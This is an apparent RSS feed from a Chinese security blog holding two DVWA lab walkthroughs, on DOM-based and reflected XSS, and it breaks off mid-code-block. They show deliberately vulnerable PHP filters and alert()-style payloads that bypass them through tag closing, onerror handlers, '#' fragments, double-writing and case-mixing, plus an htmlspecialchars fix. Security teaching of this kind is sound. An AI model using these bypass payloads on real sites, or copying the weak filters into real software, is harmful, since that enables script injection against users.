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    <title>Xss on 知识带给我们自由</title>
    <link>https://yuexuan521.github.io/zh/tags/xss/</link>
    <description>Recent content in Xss on 知识带给我们自由</description>
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    <item>
      <title>网络安全 DVWA通关指南 DVWA DOM Based Cross Site Scripting (DOM型 XSS)</title>
      <link>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-dvwa-dom-based-cross-site-scripting-dom%E5%9E%8B-xss/</link>
      <pubDate>Sun, 29 Sep 2024 12:23:38 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-dvwa-dom-based-cross-site-scripting-dom%E5%9E%8B-xss/</guid>
      <description>&lt;h2 id=&#34;dvwa-dom-based-cross-site-scripting-dom型-xss&#34;&gt;DVWA DOM Based Cross Site Scripting (DOM型 XSS)&lt;/h2&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244123.jpeg&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244123.jpeg&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;参考文献&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;WEB 安全靶场通关指南&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;xss跨站原理&#34;&gt;XSS跨站原理&lt;/h3&gt;
&lt;p&gt;当应用程序发送给浏览器的页面中包含用户提交的数据，但没有经过适当验证或转义时，就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性，而不是缺陷;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="dvwa-dom-based-cross-site-scripting-dom型-xss">DVWA DOM Based Cross Site Scripting (DOM型 XSS)</h2>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244123.jpeg">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244123.jpeg" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<p>参考文献</p>
<ul>
<li><a href="https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA"target="_blank" rel="noopener noreferrer">WEB 安全靶场通关指南</a></li>
</ul>
<hr>
<blockquote>
<h3 id="xss跨站原理">XSS跨站原理</h3>
<p>当应用程序发送给浏览器的页面中包含用户提交的数据，但没有经过适当验证或转义时，就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性，而不是缺陷;</p>
<p>浏览器同源策略：只有发布Cookie的网站才能读取Cookie。</p>
<p>会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害</p>
<h4 id="dom型">DOM型</h4>
<p>基于文档对象模型(Document Object Model)的一种漏洞；</p>
<p>DOM型与反射型类似，都需要攻击者诱使用户点击专门设计的URL；</p>
<p>Dom型 xss 是通过 url 传入参数去控制触发的；</p>
<p>Dom型返回页面源码中看不到输入的payload， 而是保存在浏览器的DOM中。</p>
</blockquote>
<h3 id="low">Low</h3>
<p>1、分析网页源代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># No protections, anything goes
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">//没有任何防御措施
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244124.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244124.png" 
             alt="image-20240425141612735" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、修改default，在URL拼接Payload</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;script&gt;alert(/XSS/)&lt;/script&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244125.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244125.png" 
             alt="image-20240425141658717" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="medium">Medium</h3>
<p>1、分析网页源代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
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</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Is there any input?
</span></span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="nx">array_key_exists</span><span class="p">(</span> <span class="s2">&#34;default&#34;</span><span class="p">,</span> <span class="nv">$_GET</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">is_null</span> <span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;default&#39;</span> <span class="p">])</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="nv">$default</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;default&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	<span class="c1"># Do not allow script tags
</span></span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="nx">stripos</span> <span class="p">(</span><span class="nv">$default</span><span class="p">,</span> <span class="s2">&#34;&lt;script&#34;</span><span class="p">)</span> <span class="o">!==</span> <span class="k">false</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="nx">header</span> <span class="p">(</span><span class="s2">&#34;location: ?default=English&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">		<span class="k">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>增加对&quot;&lt;script&quot;字符的过滤，查看前端代码</p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244126.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244126.png" 
             alt="image-20240425143147799" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>2、构造闭合&quot;option&quot;和&quot;select&quot;标签，执行弹出&quot;/xss/&ldquo;的语句</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;/optin&gt;&lt;/select&gt;&lt;img src = 1 onerror = alert(/xss/)&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244127.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244127.png" 
             alt="image-20240616160139823" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244128.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244128.png" 
             alt="image-20240616161058852" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="high">High</h3>
<p>1、分析网页源代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
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</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Is there any input?
</span></span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="nx">array_key_exists</span><span class="p">(</span> <span class="s2">&#34;default&#34;</span><span class="p">,</span> <span class="nv">$_GET</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">is_null</span> <span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;default&#39;</span> <span class="p">])</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1"># White list the allowable languages
</span></span></span><span class="line"><span class="cl">	<span class="k">switch</span> <span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;default&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="s2">&#34;French&#34;</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="s2">&#34;English&#34;</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="s2">&#34;German&#34;</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">		<span class="k">case</span> <span class="s2">&#34;Spanish&#34;</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">			<span class="c1"># ok
</span></span></span><span class="line"><span class="cl">			<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">			<span class="nx">header</span> <span class="p">(</span><span class="s2">&#34;location: ?default=English&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">			<span class="k">exit</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>2、在注入的 payload 中加入注释符 “#”，注释后边的内容不会发送到服务端，但是会被前端代码所执行。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">(空格)#&lt;script&gt;alert(/xss/)&lt;/script&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244129.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244129.png" 
             alt="image-20240616161314789" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244130.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165244130.png" 
             alt="image-20240616161408461" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="impossible">Impossible</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Don&#39;t need to do anything, protction handled on the client side
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err"># 大多数情况下浏览器都会对 URL 中的内容进行编码，这会阻止任何注入的 JavaScript 被执行。
</span></span></span></code></pre></td></tr></table>
</div>
</div>]]></content:encoded>
    </item>
    <item>
      <title>网络安全 DVWA通关指南 DVWA Reflected Cross Site Scripting (反射型 XSS)</title>
      <link>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-dvwa-reflected-cross-site-scripting-%E5%8F%8D%E5%B0%84%E5%9E%8B-xss/</link>
      <pubDate>Tue, 24 Sep 2024 12:22:37 +0000</pubDate>
      <guid>https://yuexuan521.github.io/zh/posts/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8-dvwa%E9%80%9A%E5%85%B3%E6%8C%87%E5%8D%97-dvwa-reflected-cross-site-scripting-%E5%8F%8D%E5%B0%84%E5%9E%8B-xss/</guid>
      <description>&lt;h2 id=&#34;dvwareflected-cross-site-scripting-反射型-xss&#34;&gt;DVWAReflected Cross Site Scripting (反射型 XSS)&lt;/h2&gt;
&lt;p&gt;
&lt;div class=&#34;post-img-view&#34;&gt;
    &lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408561.jpeg&#34;&gt;
        &lt;img src=&#34;https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408561.jpeg&#34; 
             alt=&#34;在这里插入图片描述&#34; 
              
             loading=&#34;lazy&#34;
        /&gt;
    &lt;/a&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;参考文献&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA&#34;target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&gt;WEB 安全靶场通关指南&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;xss跨站原理&#34;&gt;XSS跨站原理&lt;/h3&gt;
&lt;p&gt;当应用程序发送给浏览器的页面中包含用户提交的数据，但没有经过适当验证或转义时，就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性，而不是缺陷;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="dvwareflected-cross-site-scripting-反射型-xss">DVWAReflected Cross Site Scripting (反射型 XSS)</h2>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408561.jpeg">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408561.jpeg" 
             alt="在这里插入图片描述" 
              
             loading="lazy"
        />
    </a>
</div></p>
<hr>
<p>参考文献</p>
<ul>
<li><a href="https://www.cnblogs.com/linfangnan/p/13994655.html#dvwa-%E9%9D%B6%E5%9C%BA"target="_blank" rel="noopener noreferrer">WEB 安全靶场通关指南</a></li>
</ul>
<hr>
<blockquote>
<h3 id="xss跨站原理">XSS跨站原理</h3>
<p>当应用程序发送给浏览器的页面中包含用户提交的数据，但没有经过适当验证或转义时，就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性，而不是缺陷;</p>
<p>浏览器同源策略：只有发布Cookie的网站才能读取Cookie。</p>
<p>会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害</p>
<h4 id="反射型">反射型</h4>
<p>出现在搜索栏，用户登录等地方，常用来窃取客户端的Cookie进行钓鱼欺骗。(需要用户去点击)</p>
<p>想要窃取cookie要满足两个条件：</p>
<blockquote>
<p>1.用户点击攻击者构造的URL</p>
<p>2.访问被攻击的应用服务(即存在xss的网站)</p>
</blockquote>
</blockquote>
<h3 id="low">Low</h3>
<p>1、分析网页源代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">header</span> <span class="p">(</span><span class="s2">&#34;X-XSS-Protection: 0&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">//这行代码实际上禁用了浏览器内置的XSS防护机制。现代浏览器通常会有一个XSS过滤器，默认开启，用于检测并阻止某些类型的反射型XSS攻击。将此值设为0意味着告诉浏览器不要进行任何自动的XSS防护。
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Is there any input?
</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">array_key_exists</span><span class="p">(</span> <span class="s2">&#34;name&#34;</span><span class="p">,</span> <span class="nv">$_GET</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="o">!=</span> <span class="k">NULL</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Feedback for end user
</span></span></span><span class="line"><span class="cl">	<span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;pre&gt;Hello &#39;</span> <span class="o">.</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="o">.</span> <span class="s1">&#39;&lt;/pre&gt;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">//对用户输入的数据没有进行任何过滤或转义处理
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>2、输入 <code>&lt;script&gt;alert(/XSS/)&lt;/script&gt;</code> ，弹出一个警告框显示“XSS”，这证明了XSS攻击的成功。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
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<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">1、&lt;script&gt;alert(/XSS/)&lt;/script&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">&lt;script&gt; 和 &lt;/script&gt; 是HTML中的标签，用于定义JavaScript代码块的开始和结束。
</span></span><span class="line"><span class="cl">alert() 是JavaScript的一个内置函数，用于显示带有一条消息的对话框。用户必须点击确定按钮才能关闭这个对话框并继续操作页面。
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408562.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408562.png" 
             alt="image-20240424173639685" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408563.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408563.png" 
             alt="image-20240424173657851" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>3、 <strong>解决方案</strong> :</p>
<ul>
<li>
<p>对用户输入的数据进行适当的过滤或转义，可以使用PHP的 <code>htmlspecialchars()</code> 函数来转义特殊字符，确保它们被安全地显示为数据而不是被执行为代码：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
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<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="mi">1</span><span class="nv">$safeName</span> <span class="o">=</span> <span class="nx">htmlspecialchars</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;name&#39;</span><span class="p">],</span> <span class="nx">ENT_QUOTES</span><span class="p">,</span> <span class="s1">&#39;UTF-8&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="mi">2</span><span class="nv">$html</span> <span class="o">.=</span> <span class="s1">&#39;&lt;pre&gt;Hello &#39;</span> <span class="o">.</span> <span class="nv">$safeName</span> <span class="o">.</span> <span class="s1">&#39;&lt;/pre&gt;&#39;</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>同时，考虑是否真的需要禁用XSS防护头，除非有充分的理由，否则应保持浏览器的默认防护机制启用。</p>
</li>
</ul>
<h3 id="medium">Medium</h3>
<p>1、分析网页源代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
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<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">header</span> <span class="p">(</span><span class="s2">&#34;X-XSS-Protection: 0&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Is there any input?
</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">array_key_exists</span><span class="p">(</span> <span class="s2">&#34;name&#34;</span><span class="p">,</span> <span class="nv">$_GET</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="o">!=</span> <span class="k">NULL</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$name</span> <span class="o">=</span> <span class="nx">str_replace</span><span class="p">(</span> <span class="s1">&#39;&lt;script&gt;&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="c1">// Feedback for end user
</span></span></span><span class="line"><span class="cl">	<span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;Hello </span><span class="si">${</span><span class="nv">name</span><span class="si">}</span><span class="s2">&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">//str_replace() 函数以其他字符替换字符串中的一些字符（区分大小写）。本例中的作用为将&#39;&lt;script&gt;&#39;替换为&#39;&#39;。
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>2、因为str_replace() 函数区分大小写，可以将 <code>&lt;script&gt;</code> 中的字符改成大写</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
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<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">&lt;scr&lt;script&gt;ipt&gt;alert(/XSS/)&lt;/script&gt;
</span></span><span class="line"><span class="cl">//双写绕过
</span></span><span class="line"><span class="cl">&lt;ScrIpt&gt;alert(/XSS/)&lt;/scRiPt&gt;
</span></span><span class="line"><span class="cl">//区分大小写
</span></span><span class="line"><span class="cl">&lt;script x&gt;alert(/XSS/)&lt;/script y&gt;
</span></span><span class="line"><span class="cl">//绕过&lt;script&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408564.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408564.png" 
             alt="image-20240424181634960" 
              
             loading="lazy"
        />
    </a>
</div></p>
<p>
<div class="post-img-view">
    <a data-fancybox="gallery" href="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408565.png">
        <img src="https://cdn.jsdelivr.net/gh/yuexuan521/image/20251225165408565.png" 
             alt="image-20240424181648248" 
              
             loading="lazy"
        />
    </a>
</div></p>
<h3 id="high">High</h3>
<p>1、分析网页源代码</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
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<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">header</span> <span class="p">(</span><span class="s2">&#34;X-XSS-Protection: 0&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Is there any input?
</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span> <span class="nx">array_key_exists</span><span class="p">(</span> <span class="s2">&#34;name&#34;</span><span class="p">,</span> <span class="nv">$_GET</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="o">!=</span> <span class="k">NULL</span> <span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="c1">// Get input
</span></span></span><span class="line"><span class="cl">	<span class="nv">$name</span> <span class="o">=</span> <span class="nx">preg_replace</span><span class="p">(</span> <span class="s1">&#39;/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span> <span class="s1">&#39;name&#39;</span> <span class="p">]</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// preg_replace 是 PHP 中的一个函数，用于执行正则表达式的搜索和替换操作。
</span></span></span><span class="line"><span class="cl"><span class="c1">// 正则表达式：/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
</span></span></span><span class="line"><span class="cl"><span class="c1">// /&lt;...&gt;/：定义了一个正则表达式的匹配模式，前后尖括号表示匹配任意字符直到遇到后面的字符。
</span></span></span><span class="line"><span class="cl"><span class="c1">// (.*)：点号.表示匹配任意单个字符（除了换行符），后面跟着的*表示前面的模式可以重复零次或多次。因此，(.*?)组合在一起表示匹配任意数量的任意字符，但这里的懒惰量词*?并没有使用，实际是贪婪匹配.*。
</span></span></span><span class="line"><span class="cl"><span class="c1">// s, c, r, i, p, t：分别匹配这些字母，中间的.和*允许任意字符出现在这些字母之间。
</span></span></span><span class="line"><span class="cl"><span class="c1">// /i：这是一个修饰符，表示执行不区分大小写的匹配。
</span></span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">	<span class="c1">// Feedback for end user
</span></span></span><span class="line"><span class="cl">	<span class="nv">$html</span> <span class="o">.=</span> <span class="s2">&#34;&lt;pre&gt;Hello </span><span class="si">${</span><span class="nv">name</span><span class="si">}</span><span class="s2">&lt;/pre&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span><span class="line"><span class="cl"><span class="err">// &lt;script&gt;标签被完全过滤
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>2、使用其它标签注入 JS 攻击脚本</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
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<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="mi">1</span><span class="err">、</span><span class="o">&lt;</span><span class="n">img</span> <span class="n">src</span><span class="o">=</span><span class="n">x</span> <span class="n">onerror</span><span class="o">=</span><span class="n">alert</span><span class="p">(</span><span class="o">/</span><span class="n">XSS</span><span class="o">/</span><span class="p">)</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">
